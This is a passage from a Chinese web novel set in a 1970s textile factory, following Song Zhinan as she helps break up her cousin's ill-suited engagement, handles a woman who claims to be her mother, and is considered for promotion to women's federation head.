何梅越说越越委屈:“小南,你帮我评评理,我对湘湘有多好,从小到大,家里吃的穿的先尽着她,你堂哥都得靠后。现在倒好,她是好日子过腻了,非要到别人家吃苦去。那个刘俊除了一张脸长得不错和嘴甜外,没有一样拿得出手。家里要是一般穷也就罢了,他有瘫痪在床的爹,还有四个弟弟妹妹,你说湘湘不是往火坑里跳吗?” 宋知夏在一旁也听到了,直皱眉头:“大伯母,你反对得对。这门亲事确实不靠谱。” “是吧是吧,知夏你也赞同我。” 宋知南想了想说道:“我个人也不赞同。” 何梅一拍大腿:“那就好,咱们三个都不赞同,那这样,这个星期天,我把湘湘叫过来,小南你好好跟她谈谈。你是妇联的干部,专门负责调解矛盾的,你肯定有办法。” 宋知南说:“我试试吧。” 到了星期天,宋湘一个人来了。 她一来就送给宋知南一顶浅蓝色的宽檐帽,宋知南接过来试了试:“谢谢湘湘姐,帽子我很喜欢。” 宋湘坐下来,愁眉不展:“我的事我妈跟你们说了吧?” “说了。” 宋湘看着宋知南的眼睛问:“小南,你是什么看法?你那么有见识,思想又解放,你一定会支持我的对不对?” 宋知南摇头:“姐,你一定听过一句话叫贫贱夫妻百事哀。” 宋湘:“我还听过一句叫有情饮水饱。” 宋知南笑笑:“说这话的人一定没挨过饿没受过穷。” 杠精值加5。 宋湘无奈地说:“小南,我以为你年纪小思想解放先进,一定跟我妈的老思想不一样,没想到你竟然跟她说的一样。” 宋知南笑着说:“姐,我只是年纪小,我又不是傻。” 宋湘:“……” 杠精值再加5。 宋湘想起了两人在陈安华家时的约定便说道:“在知夏的婚宴上,咱俩都说过绝对不找丑的,那个刘俊可俊了,你见了就知道了。” 宋知南:“咱是不找丑的,可也没说要找穷的负担多的呀。” 杠精值再加5。 宋湘说:“他家穷负担重是他的问题吗?他也不想这样啊。” 宋知南:“那照你这么说,长得丑是人家的问题吗?人家也不想长这样啊。那你咋不愿意找丑的呢?” 宋湘哑口无言:“行吧,我辩不过你。” 杠精值加5。 宋湘带着气离开了。 她离开不久,何梅就出现了。 宋知南说:“大伯母,现在湘湘姐中的毒有点深,我们换一个方式吧,先别反对,咱们越反对,她就越坚持。” 何梅有点不太明白,宋知南跟她解释:“是人都有逆反心理。咱们一起反对他俩,就等于站在了他们两人的对立面,这会让他们两人团结一致来对抗外界。你不止不反对,还要支持两人,你放心,这两人内部一定会产生矛盾的。” 何梅说道:“可是不反对真能行吗?万一他俩真成了,那可是一辈子的事。我什么样的男人没见过?一看刘俊我就察觉这个男人很会装,很鸡贼,结婚以后,他一定会把湘湘拿捏得死死的。” 何梅拍着大腿哀嚎:“你说你大伯也不傻,我也是有名的精明,咋就生了这么蠢闺女呢?没一点心眼。要是这心眼能像工作一样能让儿女顶上,我就把我的心眼全给她。” 宋知南安慰道:“湘湘姐还年轻,等她年纪大了就知道了。” 何梅摇头:“年纪大了已经晚了。你二十岁吃亏上当,四十岁再醒悟,你说有个啥用?” 宋知南说:“我现在倒有个主意,就是让湘湘姐提前过一下结婚后的生活。如果到时候,她还是要坚持嫁刘俊,那就随她去吧。” 何梅先是眼睛一亮,听完又有些迟疑:“这个办法好,可是执行起来有难度。他俩还没结婚,就让湘湘住到男方家,男方更得抓住机会算计她。” 宋知南说:“地点不一定非选在男方家啊,你可以把那个刘俊的弟弟妹妹接到你们家,你跟我大伯啥也别管,让湘湘姐亲自去照顾。对了,湘湘姐平常很少做家务做饭吧。” “她做个屁,整天就知道打扮。” 宋知南说:“这个办法有点麻烦和浪费,那几个孩子接到家里不得吃喝呀。你不一定舍得。” 何梅一咬牙一跺脚:“浪费是浪费,但为了以后方便我也只能这么着了。” 何梅雷厉风行,想到就做。 她对刘俊说,心疼他妈不容易,想把他的四个弟弟妹妹接家里住几天。 刘俊一听连忙拒绝:“阿姨,太麻烦了,不用的。” 何梅态度很坚决:“听我的,让你弟妹都来,我们家人少,我们老俩口就爱热闹。再说了,湘湘总得提前适应你家的生活吧,这孩子在家就没做过家务,她也没有亲弟弟妹妹,没照顾过孩子,这次就让她提前适应适应。” 刘俊一听,宋湘没做过家务可不行。他结婚后肯定是要孝顺父母,照顾弟妹的。她确实得提前适应适应。 可是,他总觉得哪里不对劲,何梅之前不是坚决反对宋湘跟他处对象吗?怎么突然就不反对了,还积极地把弟弟妹妹接到家里来住?事出反常必有妖。 刘俊观察着何梅的神色,试探道:“何阿姨,你不反对湘湘跟我来往了?” 何梅假笑道:“唉,我以前是有点反对,可是湘湘这孩子死心眼,她就是看上你了,我能怎么着?女大不中留啊,留来留去留成仇。算了,我也不管了,她喜欢怎样就怎样吧。还有就是,这些日子跟你接触多了,我发现你是个很不错的男孩子。长得好看不说,嘴还甜,人还靠谱。你家负担重点就重点,这世上有哪个人是完美的?” 刘俊心里欢喜,看来,他的伏低做小没错。 他表现得更加乖巧:“阿姨,您放心,我以后一定会对湘湘好的,绝对不会让她吃苦。” 何梅面带微笑,心里却在冷笑,你拿什么对湘湘好?还一定不让她吃苦,你真要为她好,压根就不该招惹她。 何梅做为过来人,对男人的手段和算计门儿清。但她什么也没说,而是继续跟刘俊虚与委蛇。 刘俊打消了对何梅的怀疑,准备把妹妹和大弟送到宋家,这两个相对好管些。 谁知剩下的两个弟弟一听说可以去走亲戚还有好吃的,不管不顾一定要跟来。刘俊的妈被孩子闹得满心烦躁,正好也想清静两天,索性就由着他们去了。 何梅看着四个叽叽喳喳的孩子,再看看他们那饿狼一样的目光,心疼得直抽抽。但是再心疼,为了女儿的未来她也得忍着,她把家里的细粮白面都收了起来,专门拿出粗粮招待他们。 第一天,何梅好吃好喝地招呼着孩子们,四个孩子也慢慢放下戒心。 第二天,何梅就开始撒手不管,让宋湘做饭照顾他们。 宋湘平常在家就很少做饭,这一下,自然是焦头烂额、手忙脚乱。午饭做了一个多小时也没做好。 四个孩子肚子饿得咕咕叫,一起叫嚷着:“怎么还不开饭呐,饿死了。” 最小的孩子饿得哇哇大哭。 宋湘耐着性子安抚道:“别哭了,饭马上就好。” 饭刚端上桌,两个小点的男孩子手都没洗,抓起饼子就吃,吃着手里的,还去抢别人的。 宋湘皱着眉头硬押着两人去洗手。等她一回来,发现桌上的饭菜被搅和得乱七八糟。 宋湘也没胃口吃饭,随便垫了几口就去上班了。 下午下班回家,一到家,她就发现,一向整洁的家里像遭了贼似的,东西被扔得到处都是。 宋湘一进自己房间,就发现自己最喜欢的老虎布偶被扔在地上,踩得脏兮兮的。 她的花布和衣裳被翻乱了,还有两个男孩在她床上蹦。 宋湘气得大喝一声:“你们在干什么?谁让你们翻我的东西的?赶紧给我下来!” 两个小的吓了一跳,哇得一声大哭起来。 刘俊下班后也来了,他一进来就听见宋湘在吼自己弟弟,便说道:“你怎么能这么吼他们?他们还都是孩子呀。” 宋湘中午没吃饱饭,回来又看到屋里乱成这样,语气很不好:“孩子怎么了?孩子就可以为所欲为吗?你们家人是怎么教他们的?” 刘俊嚷道:“湘湘,你这人怎么这样?是你妈非要接他们来的。” 嚷嚷完,他觉得不对,赶紧低声下气地哄:“湘湘我错了,你别生我的气。” 何梅及时出现,一看到屋子乱得跟狗窝似的,她额头上青筋砰砰直跳。但她坚决忍住不发火,反而脸上带笑:“你俩这是怎么了?” 刘俊赶紧说清事情的来龙去脉,并代替自己的弟弟妹妹道歉:“阿姨,他们还小不懂事,我一会就领他们回家,不给你们添麻烦了。” 何梅转头就骂宋湘:“湘湘,你是怎么回事?你弟弟妹妹还小,你干吗冲他们发火?你记住了,你将来是他们的长嫂,长嫂如母你知道吗?你要对他们宽容大度。” 宋湘见亲妈这么说,心里更委屈了:“屁的长嫂,他们的爸妈还活着呢,怎么我就当妈了?我才多大就当四个孩子的妈?你可是我亲妈,你也吼我。” 何梅继续吼:“我吼你怎么了?我就是要让你认清现实。以后你们结了婚,你就得管起这一摊子,你不能怨不能气。” 宋湘委屈得眼泪在眼眶里打转。 刘俊讪讪地说:“阿姨湘湘,你们别吵了。我现在就带他们回家。” 何梅摇头:“不行,他们不能回。我才把他们接来两天就送回去,别人会怎么看我们家?” “就这么定了,湘湘,你和刘俊去做晚饭,做完晚饭收拾一下屋子,我出去买点东西。” 宋湘不解地看着何梅:“妈,平常不都你做饭吗?” 何梅冷酷地说:“湘湘,以前是以前,现在是现在。难道以后我还能跟着你去你婆家给你做饭?你必须得挑起这副担子。快去吧。刘俊,你也去帮忙。” 刘俊面带难色:“阿姨,我、我不会做饭。” 何梅一挑眉:“你不会做?你家的家务都是你妈做的?” 刘俊的眼睛看向别处:“我以前在上学,毕业后又要上班,就没时间做。” 何梅不依不挠:“你上学上班,谁不上学上班?湘湘以后难道不上班?你的意思是,你俩上了一天班回家,你啥也不干,让湘湘一个人洗衣做饭带四个孩子还伺候你那瘫痪在床的老爹?” 刘俊忙说:“不是还有我妈吗?” “你妈老了以后呢?” “到时,我弟弟妹妹也长大了。” 何梅继续说:“可是不等他们长大,你们就会有自己的孩子。你们再生四个孩子,再加上现在四个,八个孩子加四个大人,住两间小屋……” 刘俊急了:“我们也没说要生那么多孩子呀。” 何梅:“你爸妈生那么多孩子,要是儿媳妇生得少,他们能乐意?” …… 宋湘越听越头大,四个孩子已经让她想爆炸,再生四个,天哪。她去死了算了。刘俊家那么小的房间住那么多人。她的缝纫机放哪儿?她的花布她的衣服放哪儿?一想到这么多熊孩子以后会随时进自己的房间乱翻乱找,她的心都凉了。 宋湘的脸色慢慢地沉了下来。 何梅得意地一笑,扭身离开了。 现在就想爆炸,这才哪儿跟哪儿? 何梅离开后,宋湘手忙脚乱地去做晚饭,刘俊在一旁帮忙。 他一如既往地说着甜言蜜语:“湘湘,你放心,我一定会让你过上好日子的。我们一定会好起来的。” 宋湘心不在焉地嗯了一声,过好日子,拿什么过?拿嘴过吗?她现在的日子不好吗?她为什么放着热腾腾的饼不吃,去吃别人画的大饼? 第99章 宋知南本来以为宋湘能坚持一段时间, 没想到仅仅三天就败退了。 何梅提着一篮子吃的来到宋知南家,跟她描述当时的情形。 何梅眉飞色舞地说道:“小南, 你姐的事情解决了。你可真是个人才,我跟你大伯说,你们宋家个个都觉得自个儿厉害,其实真正厉害的也就小南一个。你一个人的心眼顶他们几十口。” 宋知南谦虚道:“我这道行差远了,我觉得咱们家里也就大伯母你是个人物,我从小就佩服你。” 何梅拍拍宋知南的手,笑着说:“宋家也就我和你脑子比较清醒,其余的都是满脑子浆糊。” 商业互夸完毕,何梅开始进入正题:“你知道湘湘是在什么时候决定踹掉刘俊的吗?” 宋知南也挺好奇:“不知道,你快说说。” “昨天她买了一件新衣裳,兴冲冲地回来。刘俊一听说新衣裳要十块钱, 可把他给心疼坏了, 仿佛花的是他的钱一样。 他就跟湘湘说, 你的衣裳够多了,怎么还乱买?你就不能多攒点钱吗?咱们家现在没这条件, 可经不起这么造。 湘湘一听就火了, 说我花的是我自个儿的钱,怎么你也管?你家没这条件可我家有,咱们还没结婚呢,你就先管上我的钱了,以后还得了?” “他们两人大吵了一架,我在就旁边劝,我说湘湘这次是你不对, 你的钱以后就是刘俊的钱,他管你是正常的。我跟你爸之所以不管你, 就是想着以后会有人管你。我说这话就是在故意给刘俊挖坑,那小子一时没察觉,还说我说得对。这下彻底把湘湘给激怒了,刘俊怎么哄也没用。到了最后,刘俊领着弟弟妹妹灰溜溜地回家去了。湘湘也说她想明白了。这门亲事算是吹了。” 何梅评价道:“幸亏这个刘俊道行不深,手段不高明,要不然还真是麻烦。” 宋知南也觉得这个刘俊手段一般般,暴露得太早。不像后世一些男人,互帮互助,全靠套路骗媳妇。 何梅再次表示自己的喜悦:“小南,这次你是真帮了大忙。下周日你们仨来家里吃饭,咱们好好庆祝庆祝。” 宋知南说:“下周日我们我们得排练节目,就不去了。” 何梅再夸:“你可真有本事,啥事被你一整就有模有样的。你说我们药厂的领导挺抠的,也不舍得请你们去演出。我跟你大伯湘湘都可想看你的节目了。” 宋知南笑着说:“这很简单,下次我们要在附近有演出,我让冬宝提前通知你们。” “行行,我们等着你的好消息。” 何梅离开后,宋知夏进来去收拾她带来的东西:“大伯母难得大方一回,今天咱们不用做晚饭了,我把馅饼炕一下,再做个鸡蛋汤就齐活了。” “行。” 宋知夏看着妹妹,问道:“小南,你说大伯母要是一溜十三招都用完,湘湘还是执迷不悟,你怎么办?” 宋知南笑着说:“如果她还是坚持要嫁,那就说明,她命中注定就该吃婚姻的苦,这谁也阻挡不了。我就不管了。” 宋知夏感慨道:“说真的,我很羡慕湘湘,大伯母对她是真好。我小时候挺不喜欢跟湘湘来往的,她长得好看,总有新衣裳穿还不用干家务。跟她一比,我就跟那丫鬟似的。” 宋知南说:“咱们的苦难是咱们爸妈造成的,跟人家湘湘姐没关系,她没欺负过咱们。” 宋知夏笑:“当初年纪小嘛,哪里能想得那么明白?” 宋知南鼓励道:“姐,过去的都是历史,咱们现在不一样了。咱们天天羡慕别人的时代一去不复返了。以后,咱们谁也不用羡慕妒忌,因为咱们会过得比谁都好。” 至于别人羡慕不羡慕她们,那是别人的事,她懒得管。 宋知夏粲然一笑:“你说得对,以后咱们尽管过好自己的日子,不再羡慕谁了。” 宋知夏去厨房准备晚饭,宋知南在院子里看书,狗在桌子下面蹭她的腿,猫直接卧在她桌子上睡觉。 宋知南一边看书一边撸猫,小虎舒服地打着呼噜。 不多时,宋冬宝回来了。 他一进院子就大声喊道:“三姐,我回来了。” 宋知夏在厨房喊了一声:“冬宝回来了,准备开饭。” 宋知南起身把书收好,宋冬宝很有眼色地跑过来铺上桌布,他们打算在院子里吃饭。 饭桌上,三人边吃边聊,分享各自获得的一些八卦新闻。 宋知夏想起自己还有一则新闻忘了告诉宋知南了,当下便说道:“小南,你听说江茶最近的消息没?” 宋知南摇头:“还真没听说。” 宋知夏继续说下去:“江茶本来是要去内蒙插队的,结果被霍峥嵘他爸给改到他老家了。咱们厂里有亲戚的亲戚也在那附近插队,听说江茶在那儿过得可苦了。霍峥嵘的老家风景是挺美,山清水秀的,可是交通闭塞,那里的人们淳朴不淳朴咱不知道,但思想挺落后的。 女孩子做点什么都被管被说。而那个霍峥嵘以前在老家人见人爱,谁见谁夸。现在他爸一倒下,那些乡亲们的真实嘴脸露出来了,听说他现在是性情大变,脾气特别暴躁,动不动就骂江茶。他以前对江茶多好呀,咱们厂里的女孩有几个不羡慕江茶的?现在倒好,霍峥嵘跟变了一个人似的,你说男人怎么那么可怕呢?” 宋冬宝身为男人,比较中肯地说了自己的看法:“二姐,那个霍峥嵘也没变,他以前就是这种人。男人谈恋爱时肯定要装一装的,要是不装,女孩也不跟他谈是不?他现在觉得不用装了呗。” 宋知夏:“可是这对女孩来说很不公平,女人以为他会一直这样。” 宋冬宝:“怎么可能?一直装下去多累呀。姐,我跟你说,我们男人都怕麻烦,都想着怎么轻松怎么来。” 宋知南咬了一口馅饼:“冬宝说得对。还是男人更了解男人。” 宋冬宝赶紧拍宋知南的马屁:“三姐,虽然你不是男人,但你比我更了解男人。” 三姐才是最棒的,知道怎么对付男人。 …… 宋家三姐弟的日子就这么波澜不惊地过着,再惊天动地的事也渐渐地变成平淡。 杨主席见宋知南已经恢复得差不多了,就试探着问她,还能不能再带队演出? 宋知南答道:“没问题,我不能因为私事耽误了工作。” 杨主席鼓励道:“小宋,你们有时间多排练排练,这不快到三八节了吗?市妇联决定组织一场文艺汇演,咱们纺织厂就指望你们了。” 就在宋知南和李群英准备重启演出计划时,厂区著名的民间福尔摩斯刘大爷找到宋知南,开口就说:“小宋,你的身世之谜解开了,有一个好消息,一个坏消息,你先听哪个?” 宋知南说:“坏的。” 刘大爷的眼中闪烁着智慧的光芒:“我前段时间不是在调查你的身世吗?可惜事情太久远,线索断了。谁能想到,突然间,峰回路转柳暗花明,有一个陆大妈就这么闯入了我的视线……” 宋知南:“……” 一般都是她让人无言以对,但这次这位刘大爷让宋知南无语。 总而言之一句话,刘大爷找到了宋知南的“亲妈”陆淑芬,确切地说,是陆淑芬找到了刘大爷。 陆淑芬还有一个身份,附近的疯子,她不是生来就疯,而是前年疯的,听说是被她小儿子气的。 陆淑芬的小儿子白继业是名狂热的红小兵,他小学时就跟着中学的一帮红小兵四处串联。 为了革命,他先革自己家的命,他举报了他爸他哥,他爸被活活打死,他哥在干校劳改时意外身亡。 陆淑芬在多重打击之下就疯了。当然,她也不是一直疯,而是时而清醒时而糊涂。 她不知从哪儿听说了宋知南不是宋上进和李玉华亲生的,又不知从哪儿听说宋知南和白继业是同一家医院同一天出生。 她当下就认定,宋知南是她抱错的女儿,白继业那个没良心的白眼狼是宋家的儿子。宋秋实杀爹伤弟,白继业举报自己亲爹亲哥,他们才是亲兄弟啊。她就说,她不可能生出那样没良心的儿子。 刘大爷说:“小宋啊,其实我也不确定陆淑芬是不是你亲妈,但她说肯定是,她正准备来接你回家。你打算怎么处理这件事?” 宋知南郑重其事地对刘大爷说道:“刘大爷,咱能不能打个商量?以后别调査我的身世了。我爸都不在了,人死为大,咱们也不能搅得他不得安宁是不是?你去帮我跟陆阿姨解释解释,说我不是她女儿。我就是我爸妈亲生的。” 宋上进活着时,这个传言有利于她,还能给宋上进俩口子添堵,现在他们一个死一个改嫁,跟她再无瓜葛。这个流言没有必要再传了。要不然,等她以后出名了,更多认亲的人出来了,多烦呀。 刘大爷连声应下:“哎哎,我去解释一下,但她听不听我就不知道了。”你跟一个疯子讲什么道理? 刘大爷通知宋知南的第二天中午,宋知南就在妇联办公室门口见到了陆淑芬。 她中等身高,头发花白,穿着一件半旧的蓝棉袄,整个人拾掇得干干净净,看得出来,她的家人把她照顾得挺好。 陆淑芬两眼直愣愣地看着宋知南,喃喃说道:“没错,你就是我闺女,你就是我那抱错的小闺女,孩子,妈妈终于找到你了。” …… 这个消息像长了翅膀似的飞遍全厂,能来的人都来了。 大家把妇联门口围得水泄不通,接交接耳议论纷纷。 “陆大娘真的是小宋的亲妈?” “不知道真假。” “两人长得也不像啊。” 陆淑芬盯着宋知南,说道:“闺女,你咋这么瘦啊?一看宋家就没好好养你。走,你跟我回家,妈妈给你做好吃的。” 要不是她们中间隔着张办公桌,陆淑芬得扑上去抱住宋知南。 何黛被突发情况吓傻了,一时不知该如何应对。 宋知南沉着应对,她看着围观群众,对着两个熟面孔说道:“阿姨,姐姐,你们两个能不能帮我去叫一下陆大娘的家里人。” 两人爽快答应:“好的好的,我们去帮你叫人。” 宋知南一边等着陆淑芬的家人,一边跟用言语安抚她:“陆阿姨,你家里有几个闺女呀?” 宋知南不问她儿子,就是怕刺激到她。 陆淑芬回答道:“你有两个姐姐,大姐叫白术,二姐叫白薇。” 宋知南和颜悦色地说:“她们的名字都挺好听。” 宋知南又问:“你以前在哪个厂子上班?” “牙膏厂,做牙膏。” 众人面面相觑,这个小宋可真厉害呀,跟疯子聊上了,聊得还挺好。 宋知南跟陆淑芬扯了一会儿,她的女儿白薇终于带着两个年轻女同志匆忙赶来了。 第100章 白薇一来就大声喊道:“妈, 供销社来了一批新货,菜店来了一批新鲜青菜, 咱们赶紧去排队,快。” 陆淑芬一听就心动了,她又看看宋知南:“我来接你妹妹回家。” 白薇说:“那更得去排队了,买了东西妹妹回家好吃呀。” “哦哦,也对。” 白薇给陆淑芬塞了几毛零钱:“妈,你先去占位置,我随后就到。快快,隔壁的赵大爷陈大妈都去了,再不去就抢不着了。” 陆淑芬一听这话,不再犹豫,拔腿就往外挤。 人群自动自觉地给她让开道儿, 白薇给另外两个女人使眼色, 让她们带着陆淑芬离开。 陆淑芬一步一回头:“薇, 你记得把你妹妹接回来啊。” 白薇笑着说:“妈,你放心, 妹妹就在这里, 又跑不了。” 等陆淑芬离开后,白薇叹了一口气,连声对宋知南道歉:“宋同志,真是对不起。我妈没吓着你吧?” 宋知南摇头:“没事。陆阿姨看上去没有暴力倾向。” 白薇解释道:“我妈是受刺激过度疯的,时而清醒时而糊涂,犯病时就是脑子糊涂嘴里胡乱叨唠,但是没打过人。” 宋知南想了想, 向白薇也是向众人解释:“等陆阿姨清醒时,你好好跟她解释解释, 我不是你们家的孩子,我跟你弟一个女孩一个男孩,除非是哪一方家长故意抱错,要不然护士再怎么粗心大意也不会弄错性别吧。” 白薇苦笑道:“其实小弟就是我的亲弟弟,只是我妈不肯接受残酷的真相罢了。她不相信那么疼爱的儿子竟会连自己家人都害。” 宋知南安慰道:“我能理解,人有时候必须得为自己的痛苦遭遇找到一个合理的解释,不然她很难说服自己。就像不被疼爱的孩子会幻想自己是捡来的,有一天亲生父母会来接自己一样。” 在场的众人一听,还真挺有道理。 白薇不禁感慨,宋知南不愧是附近有名的铁嘴和笔杆子,听她说话是真舒服,要不是还有事要忙,她真想好好地跟她聊一聊。 白薇意犹未尽地说道:“宋同志,谢谢你的开导,今天麻烦你了。等我忙完,我亲自登门道歉。” 宋知南摆手:“没事没事,不是什么大事,只要你把人劝住就好。”可别再来找她了。 “我去看看我妈,咱们改天再聊。” 白薇告辞离开。围观群众看戏看得意犹未尽:这就没了?他们还没看够呢。 事后,白薇拎着五支牙膏和一瓶罐头到宋知南家道歉。 宋知南见她挺有礼貌,做事又地道,两人倒是聊得挺投机。 白薇说道:“说实话,我听到流言的第一反应竟然是跟我妈一样,你要是真是我妹妹就好了。相比弟弟,我真的更想要个妹妹。因为弟弟的破坏力实在太强了。像我弟,由于他是家里最小的男孩子,我爸我妈我爷奶都宠他,我们做哥哥姐姐的也都让着他。什么好东西都尽着他,谁能想到他会干出这样的事来?” 宋知南说:“宠狗上灶,宠子不孝。凡是受宠的儿子就没一个孝顺的。我们家我爸妈最宠我大哥,结果你也知道了。” 白薇自然知道宋家的惨剧,她苦笑一下,她们两人还真是同病相怜。 两人聊了半小时,白薇有点不舍地告辞。 她回去之后,火速写了一封表扬信,大夸特夸宋知南为人善良,工作认真,连精神不正常的疯子都能耐心对待。 杨主任,现在是杨主席了,她收到信后,不禁笑逐颜开。她就说嘛,群众的眼睛是雪亮的。 杨主席还把这封信拿给孙主席,不,现在应该叫孙副厂长了,因为副职一般不喜欢“副”字,所以杨主任就叫他孙厂长。 “孙厂长,你看,这是牙膏厂的白薇同志写的表扬信,表扬咱们的妇联干事宋知南,说她对自己精神不正常的老母亲都十分耐心,工作态度极好。” 孙主席接过表扬信,礼貌地浏览一遍,说道:“这个小宋有时候还是挺好的。”就是好得不稳定。 杨主席无奈,什么叫有时候还挺好的? 杨主席现在的职位是工会主席,她提拔贺胜男当女工委主任,这个大家没有什么争议。 贺胜男一升上来,妇联主任的职位就空出来了。贺胜男有意推荐宋知南接替自己妇联主任的位置。 说她虽然年纪小,工作时间不长,但工作能力强啊。不论是口才还是文笔都是一等一的好,更何况她还管着文工队,时不时地巡回演出,群众的反响挺好,连市妇联都听说了,还问过几句。 杨主席也觉得宋知南的工作能力足够了,但是,大家对宋知南的评价是两极分化,好的极好,坏的挺坏。 最关键的是,厂里有一些领导对宋知南的负面印象很深。 厂委的孙主任一提宋知南就头疼,之前的那个李副厂长更别提,一心想打压她,好在李副厂长已经下台了。但孙副厂长虽然是宋知南的老领导,对她的印象也不佳。 但不管怎样,杨主席还是想试一试。 她字斟句酌地说道:“孙厂长,我接替你的位置之后,才知道你之前的工作有多忙,我现在忙得分、身乏术。我之前管的那一摊子交给贺胜男,贺胜男的那一摊子也得有人管。我觉得这个小宋的工作能力挺强,她的口才文笔厂里无人能比。” 孙厂长看了杨主席一眼:“我这人是很愿意给年轻人机会的,只是厂里不是我的一言堂,方方面面我都得考虑到。这样吧,你找个机会说出自己的想法,听听大家的意见。” 几天后,杨主席在会上正式提出这个建议。果不其然,她的提议遭到大家的激烈反对。 孙主任说:“我反对。宋知南工作时间短,年纪太小,最关键的是她这个人的工作方式太激进,只是当个干事就能得罪一大片,要是当上妇联主任,她不得把天捅破了?” 胡明亮也随即附和道:“我赞成孙主任的意见。小宋的性格不适合当干部。” 杨主席环视一圈,说道:“我觉得小宋还年轻,她有很大的成长空间。我们在座的各位,谁年轻时性格不带锋芒?年轻人有冲劲儿是好事,我相信,她会随着年龄的增长越来越稳重的。” 孙主任道:“我不这么认为。俗话说,三岁看老,一个人什么性格,小时候就能看出来。何况十六岁也不小了,有的女同志这个年纪都当娘了。” 贺胜男接过话笑着说:“老孙,你刚才还说小宋年纪太轻,现在又说十六岁也不小了。你这是自相矛盾呀。” 孙主任赶紧找补:“当干部年纪小,当母亲年纪不小了。” 贺胜男说:“我倒觉得当干部年纪不小,但是当母亲年纪也小,才十六岁,还不到法定婚龄呢。” 孙主任笑笑没接话。 众人的目光看向孙副厂长和吴厂长,吴厂长今日有些心不在焉,他淡声说道:“小宋的事以后再说,咱们还有一件大事,上面要给咱们派下来一位党委书记。” 纺织厂也有党委书记,不过一般都是厂长兼任的。现在上面突然派了一位书记下来。吴厂长也不知道是福是祸,更不知道这位搭档的性情如何,他惦记着这件事,开会时都心不在焉。 大家一听要有新领导下来,也顾不上议论宋知南了,开始纷纷打听这位新领导是何方人物。 会议上的事很快就传到了宋知南的耳朵里。宋知南那一直没睡着的野心突然就醒了。 当干部,谁不想当?她越往上爬,话语权也就越大,也能大面积地接接触杠精值高的领导。 她再一想到自己当了领导,某些人会气得直跳脚,她就倍感振奋。 之前,她不是不想,而是觉得自己工作时间太短,加上没有位置,想也白想,索性就放一边不想了。 现在,位置空出来了。关键是杨主席还正式提出来让她坐这个位置。 机会难得,她必须得想尽办法把握住。 她知道厂里的领导不看好她,说她的工作方式太激进。不过,她是不可能改变工作方式的。最好还是领导们改变一下自己的看法比较好。 紧接着,宋知南又从吴明珠那里打听到,他们纺织厂很快就要空降一位年轻的党委书记。吴厂长正为这事烦心。 宋知南暗暗记下这个信息,空降,还年轻,这里面有文章可作。 空降就表示对方没有根基,无人可用。她的机会不就来了吗? 年轻,那就表示对方更热血更有冲劲,也更好忽悠。 新党委书记还没来,市妇联的于主任倒来找宋知南了。当然,人家也不是特意来找她的,就是顺路来看一眼。 于主任三十多岁,一头短发,人挺亲切:“小宋,我可是早就听说过你的名字,你的文章写得不错,你们星星之火文工队我也听说了,大家的反响挺好。咱们三八节要搞文艺汇演,你们一定要来。” 宋知南笑着答道:“于主任,我也听说过您的名字。你是我们妇女的楷模,是妇联工作者的领头羊。我是革命一块砖,您看哪儿需要就把我往哪儿搬。” 于主任拍拍宋知南的肩膀:“哈哈,好好。你是个很有想法的年轻人,好好干。” 于主任只是路过,也没多呆,聊了几句就离开了。 宋知南琢磨了一下,她想去找杨主席和贺主任,结果两人都不在。她不想白跑一趟,看孙厂长办公室的门在开着,就过去敲了两下,“孙厂长您现在方便吗?我有事向您禀报。” 孙厂长一看到宋知南,脑瓜子就不由自主地开始疼 他轻轻叹了口气,平复了一下心情,说:“进来吧。” 宋知南开门见山地说:“孙厂长,刚才市妇联的于主任来找我了,她说今年三八节有个非常盛大的文艺汇演,咱们厂的星星之火文工队有幸被邀请,还说我一定要去。我没参加过这么盛大的汇演,心里没底,就想向您请教请教。” 孙厂长若有所思,市妇联的于主任专门来看宋知南?这是什么意思?难道她们想把宋知南上调过去? 孙厂长先没管文艺汇演的事,而是接着问道:“于主任还说什么了?” 宋知南说:“于主任挺亲切,还夸我是个有想法的年轻人,让我好好干。” “她是特意来找你的?” 宋知南:“特不特意的,我也不知道。不过,全厂那么多工人,她谁也没见,就只见了我。” 宋知南就是想让孙厂长知道,你不重视我,有的是人重视我。 孙厂长不置可否,“你好好准备节目,不要丢了咱们厂的脸。” 宋知南保证道:“孙厂长,您放心,我们文工队一定会在三八节汇演上一鸣惊人。” 一鸣惊人当然好,但就怕是以别的方式出鸣的人。 孙厂长委婉提醒:“你们正常演出就好,说话做事都要注意,那么多领导看着呢,到时还有记者也会来。” 宋知南一听还有记者来,那更得搞事情了。 她双眼放光:“孙厂长,我真是来对了,谢谢您的指点。” 孙厂长赶紧摆手:“不不,我什么也没指点你。”这个人就不能跟她多说话。 宋知南淡淡一笑,这个领导就是调皮,还口是心非,明明就很欣赏她,总是死撑着不肯承认。 100-110 第101章 何黛对于宋知南的归来异常高兴, 连着三天从家里带好吃的跟她分享。 “你不知道,你不在的时候, 我有多难熬。” 工作没人分担都是次要的,八卦没人分享才最难受。干她们这行的,天天听别人倾诉委屈烦恼,时间一长自己也积攒了很多委屈想说,南姐是个再好不过的聊天对象,她说话一针见血,两针见效,三针让你活蹦乱跳。 何黛叭叭叭地说个不停,似乎想把这些日子积攒的话都一次性说完。 何黛正说得高兴,办公室门口又来人了,她赶紧停下来, 迅速切换回工作状态。 来的是一男一女, 两人都是二十七八岁, 男的身穿长款黑色呢子大衣,带着黑框眼镜, 瞧着文质彬彬的。 女的身穿深红色灯芯绒外套, 容貌清秀,脸上却笼罩着一层愁容。 男的一脸严肃,进来时还看了一下腕上的手表,对女的说:“我只给你20分钟时间,我今天还有事。” 两人一进来,男的就看向何黛说:“何同志你好,我叫王怀安, 是钢铁厂后勤科的科员,这是我爱人田容, 是你们纺织厂财务科的。我们本来过得好好的,没有任何问题。但我爱人不知道听了谁的挑唆,非说我们之间有问题,非要来你们这里说道说道。我这人一向最讲民主,她非要坚持,我也只好陪她来。” 田容看了一眼何黛,再看一眼宋知南,不安地说:“何同志你也挺好的,只是,我们的问题比较复杂,我想请宋同志帮我们调解。” 推荐的人说了,一定要找宋知南咨询调解,她能一眼看穿本质。何黛也挺好的,只是她现在更需要宋知南帮她找到问题的根源。 王怀安瞥了一眼宋知南,极力掩饰着自己的不喜,低声对田容说:“在家说好的,我们要请何同志来调解。我一进来就跟人家说了,你现在临时改变主意,你觉得合适吗?” 何黛连忙笑着说:“没关系的,找谁都可以。二位有什么问题就说吧。” 田容看了一眼何黛,又看向宋知南,沉默片刻,找到了一个谁也不得罪的办法:“何同志宋同志,我们家条件不错,日子过得也挺好,就是我常常觉得心里苦,就像有人掐住我的脖子似的,呼吸都不顺畅。最近我的心情特别烦躁,想哭想发疯……” 